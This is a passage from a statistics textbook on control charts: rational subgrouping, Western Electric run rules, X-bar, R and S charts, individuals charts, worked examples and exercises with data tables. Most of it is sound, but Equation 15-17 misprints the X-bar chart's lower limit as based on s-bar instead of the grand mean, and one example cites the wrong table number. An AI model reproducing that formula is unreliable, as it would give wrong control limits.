In the second approach, each sample consists of units of product that are representative of *all* units that have been produced since the last sample was taken. Essentially, each subgroup is a *random sample* of *all* process output over the sampling interval. This method of rational subgrouping is often used when the control chart is employed to make decisions about the acceptance of all units of product that have been produced since the last sample. In fact, if the process shifts to an out-of-control state and then back in control again *between* samples, it is sometimes argued that the first method of rational subgrouping defined above will be ineffective against these types of shifts, and so the second method must be used.

When the rational subgroup is a random sample of all units produced over the sampling interval, considerable care must be taken in interpreting the control charts. If the process mean drifts between several levels during the interval between samples, the range of observations within the sample may consequently be relatively large. It is the within-sample variability that determines the width of the control limits on an $\overline{X}$ chart, so this practice will result in wider limits on the $\overline{X}$ chart. This makes it harder to detect shifts in the mean. In fact, we can often make *any* process appear to be in statistical control just by stretching out the interval between observations in the sample. It is also possible for shifts in the process average to cause points on a control chart for the range or standard deviation to plot out of control, even though no shift in process variability has taken place.

There are other bases for forming rational subgroups. For example, suppose a process consists of several machines that pool their output into a common stream. If we sample from this

Figure 15-4 An $\overline{X}$ control chart.

common stream of output, it will be very difficult to detect whether or not some of the machines are out of control. A logical approach to rational subgrouping here is to apply control chart techniques to the output for each individual machine. Sometimes this concept needs to be applied to different heads on the same machine, different workstations, different operators, and so forth.

The rational subgroup concept is very important. The proper selection of samples requires careful consideration of the process, with the objective of obtaining as much useful information as possible from the control chart analysis.

15-2.4 Analysis of Patterns on Control Charts

A control chart may indicate an out-of-control condition either when one or more points fall beyond the control limits, or when the plotted points exhibit some nonrandom pattern of behavior. For example, consider the $\overline{X}$ chart shown in Fig. 15-4. Although all 25 points fall within the control limits, the points do not indicate statistical control because their pattern is very nonrandom in appearance. Specifically, we note that 19 of the 25 points plot below the center line, while only 6 of them plot above. If the points are truly random, we should expect a more even distribution of them above and below the center line. We also observe that following the fourth point, five points in a row increase in magnitude. This arrangement of points is called a **run.** Since the observations are increasing, we could call it a run up; similarly, a sequence of decreasing points is called a run down. This control chart has an unusually long run up (beginning with the fourth point) and an unusually long run down (beginning with the eighteenth point).

In general, we define a run as a sequence of observations of the same type. In addition to runs up and runs down, we could define the types of observations as those above and below the center line, respectively, so two points in a row above the center line would be a run of length 2.

A run of length 8 or more points has a very low probability of occurrence in a random sample of points. Consequently, any type of run of length 8 or more is often taken as a signal of an out-of-control condition. For example, eight consecutive points on one side of the center line will indicate that the process is out of control.

Although runs are an important measure of nonrandom behavior on a control chart, other types of patterns may also indicate an out-of-control condition. For example, consider the $\overline{X}$

Figure 15-5 An $\overline{X}$ chart with a cyclic pattern.

chart in Fig. 15-5. Note that the plotted sample averages exhibit a cyclic behavior, yet they all fall within the control limits. Such a pattern may indicate a problem with the process, such as operator fatigue, raw material deliveries, and heat or stress buildup. The yield may be improved by eliminating or reducing the sources of variability causing this cyclic behavior (see Fig. 15-6). In Fig. 15-6, *LSL* and *USL* denote the lower and upper specification limits of the process. These limits represent bounds within which acceptable product must fall and they are often based on customer requirements.

The problem is one of **pattern recognition,** that is, recognizing systematic or nonrandom patterns on the control chart and identifying the reason for this behavior. The ability to interpret a particular pattern in terms of assignable causes requires experience and knowledge of the process. That is, we must not only know the statistical principles of control charts, but we must also have a good understanding of the process.

The Western Electric Handbook (1956) suggests a set of decision rules for detecting nonrandom patterns on control charts. Specifically, the **Western Electric rules** would conclude that the process is out of control if either

1. One point plots outside 3-sigma control limits.
2. Two out of three consecutive points plot beyond a 2-sigma limit.
3. Four out of five consecutive points plot at a distance of 1-sigma or beyond from the center line.
4. Eight consecutive points plot on one side of the center line.

Figure 15-6 (a) Variability with the cyclic pattern. (b) Variability with the cyclic pattern eliminated.

Figure 15-7 The Western Electric zone rules.

We have found these rules very effective in practice for enhancing the sensitivity of control charts. Rules 2 and 3 apply to one side of the center line at a time. That is, a point above the *upper* 2-sigma limit followed immediately by a point below the *lower* 2-sigma limit would not signal an out-of-control alarm.

Figure 15-7 shows an $\overline{X}$ control chart for the piston ring process with the 1-sigma, 2-sigma, and 3-sigma limits used in the Western Electric procedure. Notice that these inner limits (sometimes called **warning limits**) partition the control chart into three zones A, B, and C on each side of the center line. Consequently, the Western Electric rules are sometimes called the **run rules** for control charts. Notice that the last four points fall in zone B or beyond. Thus, since four of five consecutive points exceed the 1-sigma limit, the Western Electric procedure will conclude that the pattern is nonrandom and the process is out of control.

15-3 $\overline{X}$ AND R OR S CONTROL CHARTS

When dealing with a quality characteristic that can be expressed as a measurement, it is customary to monitor both the mean value of the quality characteristic and its variability. Control over the average quality is exercised by the control chart for averages, usually called the $\overline{X}$ chart. Process variability can be controlled by either a range chart (R chart) or a standard deviation chart (S chart), depending on how the population standard deviation is estimated.

Suppose that the process mean and standard deviation μ and σ are known and that we can assume that the quality characteristic has a normal distribution. Consider the $\overline{X}$ chart. As discussed previously, we can use μ as the center line for the control chart, and we can place the upper and lower 3-sigma limits at

$$\begin{aligned} UCL &= \mu + 3\sigma/\sqrt{n} \\ LCL &= \mu - 3\sigma/\sqrt{n} \\ CL &= \mu \end{aligned} \tag{15-2}$$

When the parameters μ and σ are unknown, we usually estimate them on the basis of preliminary samples, taken when the process is thought to be in control. We recommend the

use of at least 20 to 25 preliminary samples. Suppose m preliminary samples are available, each of size n. Typically, n will be 4, 5, or 6; these relatively small sample sizes are widely used and often arise from the construction of rational subgroups. Let the sample mean for the ith sample be $\overline{X}_i$. Then we estimate the mean of the population, μ, by the **grand mean**

$$\hat{\mu} = \overline{\overline{X}} = \frac{1}{m}\sum_{i=1}^{m}\overline{X}_i \tag{15-3}$$

Thus, we may take $\overline{\overline{X}}$ as the center line on the $\overline{X}$ control chart.

We may estimate σ from either the standard deviation or the range of the observations within each sample. The sample size is relatively small, so there is little loss in efficiency in estimating σ from the sample ranges.

The relationship between the range R of a sample from a normal population with known parameters and the standard deviation of that population is needed. Since R is a random variable, the quantity $W = R/\sigma$, called the relative range, is also a random variable. The parameters of the distribution of W have been determined for any sample size n. The mean and standard deviation of the distribution of W are called d_2 and d_3 respectively. Because $R = \sigma W$,

$$\mu_R = d_2\sigma \qquad \sigma_R = d_3\sigma \tag{15-4}$$

Let R_i be the range of the ith sample, and let

$$\overline{R} = \frac{1}{m}\sum_{i=1}^{m} R_i \tag{15-5}$$

be the average range. Then $\overline{R}$ is an estimator of μ_R and from Equation 15-4 an unbiased estimator of σ is

Estimator of σ from R Chart

$$\hat{\sigma} = \frac{\overline{R}}{d_2} \tag{15-6}$$

where the constant d_2 is tabulated for various sample sizes in Appendix Table XI.

Therefore, we may use as our upper and lower control limits for the $\overline{X}$ chart

$$UCL = \overline{\overline{X}} + \frac{3}{d_2\sqrt{n}}\overline{R} \qquad LCL = \overline{\overline{X}} - \frac{3}{d_2\sqrt{n}}\overline{R} \tag{15-7}$$

Define the constant

$$A_2 = \frac{3}{d_2\sqrt{n}} \tag{15-8}$$

Now, once we have computed the sample values $\overline{\overline{x}}$ and $\overline{r}$, the $\overline{X}$ control chart may be defined as follows.

$\overline{X}$ Control Chart (from $\overline{R}$)

The center line and upper and lower control limits for an $\overline{X}$ control chart are

$$UCL = \bar{\bar{x}} + A_2\bar{r} \qquad CL = \bar{\bar{x}} \qquad LCL = \bar{\bar{x}} - A_2\bar{r} \tag{15-9}$$

where the constant A_2 is tabulated for various sample sizes in Appendix Table XI.

The parameters of the R chart may also be easily determined. The center line is $\overline{R}$. To determine the control limits, we need an estimate of σ_R, the standard deviation of R. Once again, assuming the process is in control, the distribution of the relative range, W, is useful. We may estimate σ_R from Equation 15-4 as

$$\hat{\sigma}_R = d_3\hat{\sigma} = d_3\frac{\overline{R}}{d_2} \tag{15-10}$$

and the upper and lower control limits on the R chart are

$$UCL = \overline{R} + \frac{3d_3}{d_2}\overline{R} = \left(1 + \frac{3d_3}{d_2}\right)\overline{R}$$

$$LCL = \overline{R} - \frac{3d_3}{d_2}\overline{R} = \left(1 - \frac{3d_3}{d_2}\right)\overline{R} \tag{15-11}$$

Setting $D_3 = 1 - 3d_3/d_2$ and $D_4 = 1 + 3d_3/d_2$ leads to the following definition.

***R* Chart**

The center line and upper and lower control limits for an R chart are

$$UCL = D_4\bar{r} \qquad CL = \bar{r} \qquad LCL = D_3\bar{r} \tag{15-12}$$

where $\bar{r}$ is the sample average range, and the constants D_3 and D_4 are tabulated for various sample sizes in Appendix Table XI.

The LCL for an R chart can be a negative number. In that case, it is customary to set LCL to zero. Because the points plotted on an R chart are nonnegative, no points can fall below an LCL of zero. Also, we often study the R chart first because if the process variability is not constant over time the control limits calculated for the $\overline{X}$ chart can be misleading.

Rather than base control charts on ranges, a more modern approach is to calculate the standard deviation of each subgroup and plot these standard deviations to monitor the process standard deviation σ. This is called an S chart. When an S chart is used, it is common to use these standard deviations to develop control limits for the $\overline{X}$ chart. Typically, the sample size used for subgroups is small (fewer than 10) and in that case there is usually little difference in the $\overline{X}$ chart generated from ranges or standard deviations. However, because computer software is often used to implement control charts, S charts are quite common. Details to construct these charts follow.

In Section 7-3, it was stated that S is a biased estimator of σ. That is, $E(S) = c_4\sigma$ where c_4 is a constant that is near, but not equal to, 1. Furthermore, a calculation similar to the one used for $E(S)$ can derive the standard deviation of the statistic S with the result $\sigma\sqrt{1 - c_4^2}$. Therefore, the center line and three-sigma control limits for S are

$$LCL = c_4\sigma - 3\sigma\sqrt{1 - c_4^2} \qquad CL = c_4\sigma \qquad UCL = c_4\sigma + 3\sigma\sqrt{1 - c_4^2} \tag{15-13}$$

Assume that there are m preliminary samples available, each of size n, and let S_i denote the standard deviation of the ith sample. Define

$$\bar{S} = \frac{1}{m}\sum_{i=1}^{m} S_i \tag{15-14}$$

Because $E(\bar{S}) = c_4\sigma$, an unbiased estimator of σ is $\bar{S}/c_4$ That is,

Estimator of σ from S Chart

$$\hat{\sigma} = \bar{S}/c_4 \tag{15-15}$$

where the constant c_4 is tabulated for various sample sizes in Appendix Table XI.

A control chart for standard deviations follows.

S Chart

$$UCL = \bar{s} + 3\frac{\bar{s}}{c_4}\sqrt{1 - c_4^2} \qquad CL = \bar{s} \qquad LCL = \bar{s} - 3\frac{\bar{s}}{c_4}\sqrt{1 - c_4^2} \tag{15-16}$$

The LCL for an S chart can be a negative number, in that case, it is customary to set LCL to zero. When an S chart is used, the estimate for σ in Equation 15-15 is commonly used to calculate the control limits for an $\bar{X}$ chart. This produces the following control limits for an $\bar{X}$ chart.

$\bar{X}$ Control Chart (from $\bar{S}$)

$$UCL = \bar{\bar{x}} + 3\frac{\bar{s}}{c_4\sqrt{n}} \qquad CL = \bar{\bar{x}} \qquad LCL = \bar{s} - 3\frac{\bar{s}}{c_4\sqrt{n}} \tag{15-17}$$

EXAMPLE 15-1 Vane Opening

A component part for a jet aircraft engine is manufactured by an investment casting process. The vane opening on this casting is an important functional parameter of the part. We will illustrate the use of $\bar{X}$ and R control charts to assess the statistical stability of this process. Table 15-1 presents 20 samples of five parts each. The values given in the table have been coded by using the last three digits of the dimension; that is, 31.6 should be 0.50316 inch.

The quantities $\bar{\bar{x}} = 33.3$ and $\bar{r} = 5.8$ are shown at the foot of Table 15-1. The value of A_2 for samples of size 5 is $A_2 = 0.577$. Then the trial control limits for the $\bar{X}$ chart are

$$\bar{x} \pm A_2\bar{r} = 33.32 \pm (0.577)(5.8) = 33.32 \pm 3.35$$

or

$$UCL = 36.67 \qquad LCL = 29.97$$

For the R chart, the trial control limits are

$$UCL = D_4\bar{r} = (2.115)(5.8) = 12.27$$
$$LCL = D_3\bar{r} = (0)(5.8) = 0$$

The $\bar{X}$ and R control charts with these trial control limits are shown in Fig. 15-8. Notice that samples 6, 8, 11, and 19 are out of control on the $\bar{X}$ chart and that sample 9 is out of control on the R chart. (These points are labeled with a "1" because they violate the first Western Electric rule.)

For the S chart, the value of $c_4 = 0.94$. Therefore,

$$\frac{3\bar{s}}{c_4}\sqrt{1 - c_4^2} = \frac{3(2.345)}{0.94}\sqrt{1 - 0.94^2} = 2.553$$

and the trial control limits are

$$UCL = 2.345 + 2.553 = 4.898$$
$$LCL = 2.345 - 2.553 = -0.208$$

Table 15-1 Vane-Opening Measurements

Sample Number	x_1	x_2	x_3	x_4	x_5	$\bar{x}$	r	s
1	33	29	31	32	33	31.6	4	1.67332
2	33	31	35	37	31	33.4	6	2.60768
3	35	37	33	34	36	35.0	4	1.58114
4	30	31	33	34	33	32.2	4	1.64317
5	33	34	35	33	34	33.8	2	0.83666
6	38	37	39	40	38	38.4	3	1.14018
7	30	31	32	34	31	31.6	4	1.51658
8	29	39	38	39	39	36.8	10	4.38178
9	28	33	35	36	43	35.0	15	5.43139
10	38	33	32	35	32	34.0	6	2.54951
11	28	30	28	32	31	29.8	4	1.78885
12	31	35	35	35	34	34.0	4	1.73205
13	27	32	34	35	37	33.0	10	3.80789
14	33	33	35	37	36	34.8	4	1.78885
15	35	37	32	35	39	35.6	7	2.60768
16	33	33	27	31	30	30.8	6	2.48998
17	35	34	34	30	32	33.0	5	2.00000
18	32	33	30	30	33	31.6	3	1.51658
19	25	27	34	27	28	28.2	9	3.42053
20	35	35	36	33	30	33.8	6	2.38747
						$\bar{\bar{x}} = 33.32$	$\bar{r} = 5.8$	$\bar{s} = 2.345$

Figure 15-8 The $\overline{X}$ and R control charts for vane opening.

Figure 15-9 The S control chart for vane opening.

The LCL is set to zero. If $\bar{s}$ is used to determine the control limits for the $\bar{X}$ chart,

$$\bar{\bar{x}} \pm \frac{3\bar{s}}{c_4\sqrt{n}} = 33.32 \pm \frac{3(2.345)}{0.94\sqrt{5}} = 33.32 \pm 3.35$$

and this result is nearly the same as from $\bar{r}$. The S chart is shown in Fig. 15-9. Because the control limits for the $\bar{X}$ chart calculated from $\bar{s}$ are nearly the same as from $\bar{r}$, the chart is not shown.

Suppose that all of these assignable causes can be traced to a defective tool in the wax-molding area. We should discard these five samples and recompute the limits for the $\bar{X}$ and R charts. These new revised limits are, for the $\bar{X}$ chart,

$$UCL = \bar{\bar{x}} + A_2\bar{r} = 33.21 + (0.577)(5.0) = 36.10$$

$$LCL = \bar{\bar{x}} - A_2\bar{r} = 33.21 - (0.577)(5.0) = 30.33$$

and for the R chart,

$$UCL = D_4\bar{r} = (2.115)(5.0) = 10.57$$

$$LCL = D_3\bar{r} = (0)(5.0) = 0$$

The revised control charts are shown in Fig. 15-10.

Practical Interpretation: Notice that we have treated the first 20 preliminary samples as **estimation data** with which to establish control limits. These limits can now be used to judge the statistical control of future production. As each new sample becomes available, the values of $\bar{x}$ and r should be computed and plotted on the control charts. It may be desirable to revise the limits periodically, even if the process remains stable. The limits should always be revised when process improvements are made.

Figure 15-10 The $\bar{X}$ and R control charts for vane opening, revised limits.

Table 15-2 Summary Report from Minitab for the Vane-Opening Data

Test Results for Xbar Chart
TEST 1. One point more than 3.00 sigmas from center line.
Test Failed at points: 6 8 11 19
Test Results for R Chart
TEST 1. One point more than 3.00 sigmas from center line.
Test Failed at points: 9

Computer Construction of $\overline{X}$ and R Control Charts

Many computer programs construct $\overline{X}$ and R control charts. Figures 15-8 and 15-10 show charts similar to those produced by Minitab for the vane-opening data. This program will allow the user to select any multiple of sigma as the width of the control limits and use the Western Electric rules to detect out-of-control points. The program will also prepare a summary report as in Table 15-2 and exclude subgroups from the calculation of the control limits.

EXERCISES FOR SECTION 15-3

15-1. Control charts for $\overline{X}$ and R are to be set up for an important quality characteristic. The sample size is $n = 5$, and $\bar{x}$ and r are computed for each of 35 preliminary samples. The summary data are

$$\sum_{i=1}^{35} \bar{x}_i = 7805 \qquad \sum_{i=1}^{35} r_i = 1200$$

(a) Calculate trial control limits for $\overline{X}$ and R charts.
(b) Assuming that the process is in control, estimate the process mean and standard deviation.

15-2. Twenty-five samples of size 5 are drawn from a process at one-hour intervals, and the following data are obtained:

$$\sum_{i=1}^{25} \bar{x}_i = 362.75 \qquad \sum_{i=1}^{25} r_i = 8.60 \qquad \sum_{i=1}^{25} s_i = 3.64$$

(a) Calculate trial control limits for $\overline{X}$ and R charts.
(b) Repeat part (a) for $\overline{X}$ and S charts.

15-3. Control charts are to be constructed for samples of size $n = 4$, and $\bar{x}$ and s are computed for each of 20 preliminary samples as follows:

$$\sum_{i=1}^{20} \bar{x}_i = 4460 \qquad \sum_{i=1}^{20} s_i = 271.6$$

(a) Calculate trial control limits for $\overline{X}$ and S charts.
(b) Assuming the process is in control, estimate the process mean and standard deviation.

15-4. Samples of size $n = 6$ are collected from a process every hour. After 20 samples have been collected, we calculate $\bar{\bar{x}} = 20.0$ and $\bar{r}/d_2 = 1.4$.
(a) Calculate trial control limits for $\overline{X}$ and R charts.
(b) If $\bar{s}/c_4 = 1.5$, determine trial control limits for $\overline{X}$ and S charts.

15-5. The level of cholesterol (in mg/dL) is an important index for human health. The sample size is $n = 5$. The following summary statistics are obtained from cholesterol measurements:

$$\sum_{i=1}^{30} \bar{x}_i = 140.03, \quad \sum_{i=1}^{30} r_i = 13.63, \quad \sum_{i=1}^{30} s_i = 5.10$$

(a) Find trial control limits for $\overline{X}$ and R charts.
(b) Repeat part (a) for $\overline{X}$ and S charts.

15-6. An $\overline{X}$ control chart with three-sigma control limits has $UCL = 48.75$ and $LCL = 42.71$. Suppose the process standard deviation is $\sigma = 2.25$. What subgroup size was used for the chart?

15-7. An extrusion die is used to produce aluminum rods. The diameter of the rods is a critical quality characteristic. The following table shows $\bar{x}$ and r values for 20 samples of five rods each. Specifications on the rods are 0.5035 ± 0.0010 inch. The values given are the last three digits of the measurement; that is, 34.2 is read as 0.50342.

Sample	$\bar{x}$	r
1	34.2	3
2	31.6	4
3	31.8	4
4	33.4	5
5	35.0	4
6	32.1	2
7	32.6	7
8	33.8	9
9	34.8	10

continued

Sample	$\bar{x}$	r
10	38.6	4
11	35.4	8
12	34.0	6
13	36.0	4
14	37.2	7
15	35.2	3
16	33.4	10
17	35.0	4
18	34.4	7
19	33.9	8
20	34.0	4

(a) Using all the data, find trial control limits for $\overline{X}$ and R charts, construct the chart, and plot the data.
(b) Use the trial control limits from part (a) to identify out-of-control points. If necessary, revise your control limits, assuming that any samples that plot outside the control limits can be eliminated. Estimate σ.

15-8. The copper content of a plating bath is measured three times per day, and the results are reported in ppm. The $\bar{x}$ and r values for 25 days are shown in the following table:

Day	$\bar{x}$	r	Day	$\bar{x}$	r
1	5.45	1.21	14	7.01	1.45
2	5.39	0.95	15	5.83	1.37
3	6.85	1.43	16	6.35	1.04
4	6.74	1.29	17	6.05	0.83
5	5.83	1.35	18	7.11	1.35
6	7.22	0.88	19	7.32	1.09
7	6.39	0.92	20	5.90	1.22
8	6.50	1.13	21	5.50	0.98
9	7.15	1.25	22	6.32	1.21
10	5.92	1.05	23	6.55	0.76
11	6.45	0.98	24	5.90	1.20
12	5.38	1.36	25	5.95	1.19
13	6.03	0.83			

(a) Using all the data, find trial control limits for $\overline{X}$ and R charts, construct the chart, and plot the data. Is the process in statistical control?
(b) If necessary, revise the control limits computed in part (a), assuming that any samples that plot outside the control limits can be eliminated.

15-9. The pull strength of a wire-bonded lead for an integrated circuit is monitored. The following table provides data for 20 samples each of size three.

Sample Number	x_1	x_2	x_3
1	15.4	15.6	15.3
2	15.4	17.1	15.2
3	16.1	16.1	13.5
4	13.5	12.5	10.2
5	18.3	16.1	17.0
6	19.2	17.2	19.4
7	14.1	12.4	11.7
8	15.6	13.3	13.6
9	13.9	14.9	15.5
10	18.7	21.2	20.1
11	15.3	13.1	13.7
12	16.6	18.0	18.0
13	17.0	15.2	18.1
14	16.3	16.5	17.7
15	8.4	7.7	8.4
16	11.1	13.8	11.9
17	16.5	17.1	18.5
18	18.0	14.1	15.9
19	17.8	17.3	12.0
20	11.5	10.8	11.2

(a) Use all the data to determine trial control limits for $\overline{X}$ and R charts, construct the control limits, and plot the data.
(b) Use the control limits from part (a) to identify out-of-control points. If necessary, revise your control limits assuming that any samples that plot outside of the control limits can be eliminated.
(c) Repeat parts (a) and (b) for $\overline{X}$ and S charts.

15-10. The following data were considered in *Quality Engineering* ["An SPC Case Study on Stabilizing Syringe Lengths" (1999–2000, Vol. 12(1))]. The syringe length is measured during a pharmaceutical manufacturing process. The following table provides data (in inches) for 20 samples each of size five.

Sample	x_1	x_2	x_3	x_4	x_5
1	4.960	4.946	4.950	4.956	4.958
2	4.958	4.927	4.935	4.940	4.950
3	4.971	4.929	4.965	4.952	4.938
4	4.940	4.982	4.970	4.953	4.960
5	4.964	4.950	4.953	4.962	4.956
6	4.969	4.951	4.955	4.966	4.954
7	4.960	4.944	4.957	4.948	4.951
8	4.969	4.949	4.963	4.952	4.962
9	4.984	4.928	4.960	4.943	4.955
10	4.970	4.934	4.961	4.940	4.965
11	4.975	4.959	4.962	4.971	4.968
12	4.945	4.977	4.950	4.969	4.954

13	4.976	4.964	4.970	4.968	4.972
14	4.970	4.954	4.964	4.959	4.968
15	4.982	4.962	4.968	4.975	4.963
16	4.961	4.943	4.950	4.949	4.957
17	4.980	4.970	4.975	4.978	4.977
18	4.975	4.968	4.971	4.969	4.972
19	4.977	4.966	4.969	4.973	4.970
20	4.975	4.967	4.969	4.972	4.972

(a) Using all the data, find trial control limits for $\overline{X}$ and R charts, construct the chart, and plot the data. Is this process in statistical control?
(b) Use the trial control limits from part (a) to identify out-of-control points. If necessary, revise your control limits assuming that any samples that plot outside of the control limits can be eliminated.
(c) Repeat parts (a) and (b) for $\overline{X}$ and S charts.

15-11. The thickness of a metal part is an important quality parameter. Data on thickness (in inches) are given in the following table, for 25 samples of five parts each.

Sample Number	x_1	x_2	x_3	x_4	x_5
1	0.0629	0.0636	0.0640	0.0635	0.0640
2	0.0630	0.0631	0.0622	0.0625	0.0627
3	0.0628	0.0631	0.0633	0.0633	0.0630
4	0.0634	0.0630	0.0631	0.0632	0.0633
5	0.0619	0.0628	0.0630	0.0619	0.0625
6	0.0613	0.0629	0.0634	0.0625	0.0628
7	0.0630	0.0639	0.0625	0.0629	0.0627
8	0.0628	0.0627	0.0622	0.0625	0.0627
9	0.0623	0.0626	0.0633	0.0630	0.0624
10	0.0631	0.0631	0.0633	0.0631	0.0630
11	0.0635	0.0630	0.0638	0.0635	0.0633
12	0.0623	0.0630	0.0630	0.0627	0.0629
13	0.0635	0.0631	0.0630	0.0630	0.0630
14	0.0645	0.0640	0.0631	0.0640	0.0642
15	0.0619	0.0644	0.0632	0.0622	0.0635
16	0.0631	0.0627	0.0630	0.0628	0.0629
17	0.0616	0.0623	0.0631	0.0620	0.0625
18	0.0630	0.0630	0.0626	0.0629	0.0628
19	0.0636	0.0631	0.0629	0.0635	0.0634
20	0.0640	0.0635	0.0629	0.0635	0.0634
21	0.0628	0.0625	0.0616	0.0620	0.0623
22	0.0615	0.0625	0.0619	0.0619	0.0622
23	0.0630	0.0632	0.0630	0.0631	0.0630
24	0.0635	0.0629	0.0635	0.0631	0.0633
25	0.0623	0.0629	0.0630	0.0626	0.0628

(a) Using all the data, find trial control limits for $\overline{X}$ and R charts, construct the chart, and plot the data. Is the process in statistical control?
(b) Use the trial control limits from part (a) to identify out-of-control points. If necessary, revise your control limits assuming that any samples that plot outside of the control limits can be eliminated.
(c) Repeat parts (a) and (b) for $\overline{X}$ and S charts.

15-12. Apply the Western Electric Rules to the following $\bar{x}$ control chart. The warning limits are shown as dotted lines. Describe any rule violations.

15-13. An $\overline{X}$ control chart with three-sigma control limits and subgroup size $n = 4$ has control limits $UCL = 48.75$ and $LCL = 40.55$.
(a) Estimate the process standard deviation.
(b) Does the answer to part (a) depend on whether $\bar{r}$ or $\bar{s}$ was used to construct the $\overline{X}$ control chart?

15-14. Web traffic can be measured to help highlight security problems or indicate a potential lack of bandwidth. Data on Web traffic (in thousand hits) from http://en.wikipedia.org/wiki/Web_traffic are given in the following table for 25 samples each of size four.

Sample	x_1	x_2	x_3	x_4
1	163.95	164.54	163.87	165.10
2	163.30	162.85	163.18	165.10
3	163.13	165.14	162.80	163.81
4	164.08	163.43	164.03	163.77
5	165.44	163.63	163.95	164.78
6	163.83	164.14	165.22	164.91
7	162.94	163.64	162.30	163.78
8	164.97	163.68	164.73	162.32
9	165.04	164.06	164.40	163.69
10	164.74	163.74	165.10	164.32
11	164.72	165.75	163.07	163.84

continued

Sample	x_1	x_2	x_3	x_4
12	164.25	162.72	163.25	164.14
13	164.71	162.63	165.07	162.59
14	166.61	167.07	167.41	166.10
15	165.23	163.40	164.94	163.74
16	164.27	163.42	164.73	164.88
17	163.59	164.84	164.45	164.12
18	164.90	164.20	164.32	163.98
19	163.98	163.53	163.34	163.82
20	164.08	164.33	162.38	164.08
21	165.71	162.63	164.42	165.27
22	164.03	163.36	164.55	165.77
23	160.52	161.68	161.18	161.33
24	164.22	164.27	164.35	165.12
25	163.93	163.96	165.05	164.52

(a) Use all the data to determine trial control limits for $\overline{X}$ and R charts, construct the chart, and plot the data.

(b) Use the trial control limits from part (a) to identify out-of-control points. If necessary, revise your control limits, assuming that any samples that plot outside the control limits can be eliminated.

15-15. Consider the data in Exercise 15-9. Calculate the sample standard deviation of all 60 measurements and compare this result to the estimate of σ obtained from your revised $\overline{X}$ and R charts. Explain any differences.

15-16. Consider the data in Exercise 15-10. Calculate the sample standard deviation of all 100 measurements and compare this result to the estimate of σ obtained from your revised $\overline{X}$ and R charts. Explain any differences.

15-4 CONTROL CHARTS FOR INDIVIDUAL MEASUREMENTS

In many situations, the sample size used for process control is $n = 1$; that is, the sample consists of an individual unit. Some examples of these situations are as follows:

1. Automated inspection and measurement technology is used, and every unit manufactured is analyzed.
2. The production rate is very slow, and it is inconvenient to allow sample sizes of $n > 1$ to accumulate before being analyzed.
3. Repeat measurements on the process differ only because of laboratory or analysis error, as in many chemical processes.
4. In process plants, such as papermaking, measurements on some parameters such as coating thickness *across* the roll will differ very little and produce a standard deviation that is much too small if the objective is to control coating thickness *along* the roll.

In such situations, the **individuals control chart** (also called an ***X* chart**) is useful. The control chart for individuals uses the **moving range** of two successive observations to estimate the process variability. The moving range is defined as $MR_i = |X_i - X_{i-1}|$ and for m observations the average moving range is m

$$\overline{MR} = \frac{1}{m-1}\sum_{i=2}^{m}|X_i - X_{i-1}|$$

An estimate of σ is

$$\hat{\sigma} = \frac{\overline{MR}}{d_2} = \frac{\overline{MR}}{1.128} \tag{15-18}$$

because each moving range is the range between two consecutive observations. Note that there are only $m - 1$ moving ranges. It is also possible to establish a control chart on the moving range using D_3 and D_4 for $n = 2$. The parameters for these charts are defined as follows.

Individuals Control Chart

The center line and upper and lower control limits for a control chart for individuals are

$$
\begin{aligned}
UCL &= \bar{x} + 3\frac{\overline{mr}}{d_2} = \bar{x} + 3\frac{\overline{mr}}{1.128} \\
CL &= \bar{x} \\
LCL &= \bar{x} - 3\frac{\overline{mr}}{d_2} = \bar{x} - 3\frac{\overline{mr}}{1.128}
\end{aligned}
\tag{15-19}
$$

and for a control chart for moving ranges

$$
\begin{aligned}
UCL &= D_4\overline{mr} = 3.267\overline{mr} \\
CL &= \overline{mr} \\
LCL &= D_3\overline{mr} = 0
\end{aligned}
$$

Note that LCL for this moving range chart is always zero because $D_3 = 0$ for $n = 2$. The procedure is illustrated in the following example.

EXAMPLE 15-2 Chemical Process Concentration

Table 15-3 shows 20 observations on concentration for the output of a chemical process. The observations are taken at one-hour intervals. If several observations are taken at the same time, the observed concentration reading will differ only because of measurement error. Since the measurement error is small, only one observation is taken each hour.

Table 15-3 Chemical Process Concentration Measurements

Observation	Concentration x	Moving Range mr
1	102.0	
2	94.8	7.2
3	98.3	3.5
4	98.4	0.1
5	102.0	3.6
6	98.5	3.5
7	99.0	0.5
8	97.7	1.3
9	100.0	2.3
10	98.1	1.9
11	101.3	3.2
12	98.7	2.6
13	101.1	2.4
14	98.4	2.7
15	97.0	1.4
16	96.7	0.3
17	100.3	3.6
18	101.4	1.1
19	97.2	4.2
20	101.0	3.8
	$\bar{x} = 99.1$	$\overline{mr} = 2.59$

Figure 15-11 Control charts for individuals and the moving range (from Minitab) for the chemical process concentration data.

To set up the control chart for individuals, note that the sample average of the 20 concentration readings is $\bar{x} = 99.1$ and that the average of the moving ranges of two observations shown in the last column of Table 16-3 is $\overline{mr} = 2.59$. To set up the moving-range chart, we note that $D_3 = 0$ and $D_4 = 3.267$ for $n = 2$. Therefore, the moving-range chart has center line $\overline{mr} = 2.59$, $LCL = 0$, and $UCL = D_4\overline{mr} = (3.267)(2.59) = 8.46$. The control chart is shown as the lower control chart in Fig. 15-11. This control chart was constructed by Minitab. Because no points exceed the upper control limit, we may now set up the control chart for individual concentration measurements. If a moving range of $n = 2$ observations is used, $d_2 = 1.128$. For the data in Table 15-3 we have

$$UCL = \bar{x} + 3\frac{\overline{mr}}{d_2} = 99.1 + 3\frac{2.59}{1.128} = 105.99$$

$$CL = \bar{x} = 99.1$$

$$LCL = \bar{x} - 3\frac{\overline{mr}}{d_2} = 99.1 - 3\frac{2.59}{1.128} = 92.21$$

The control chart for individual concentration measurements is shown as the upper control chart in Fig. 15-11. There is no indication of an out-of-control condition.

Practical Interpretation: These calculated control limits are used to monitor future production.

The chart for individuals can be interpreted much like an ordinary $\overline{X}$ control chart. A shift in the process average will result in either a point (or points) outside the control limits, or a pattern consisting of a run on one side of the center line.

Some care should be exercised in interpreting patterns on the moving-range chart. The moving ranges are correlated, and this correlation may often induce a pattern of runs or cycles on the chart. The individual measurements are assumed to be uncorrelated, however, and any apparent pattern on the individuals' control chart should be carefully investigated.

The control chart for individuals is not very sensitive to small shifts in the process mean. For example, if the size of the shift in the mean is one standard deviation, the average number of points to detect this shift is 43.9. This result is shown later in the chapter. While the performance of the control chart for individuals is much better for large shifts, in many situations the shift of interest is not large and more rapid shift detection is desirable. In these cases, we recommend time-weighted charts such as the *cumulative sum control chart* or an *exponentially weighted moving-average chart* (discussed in Section 15-8).

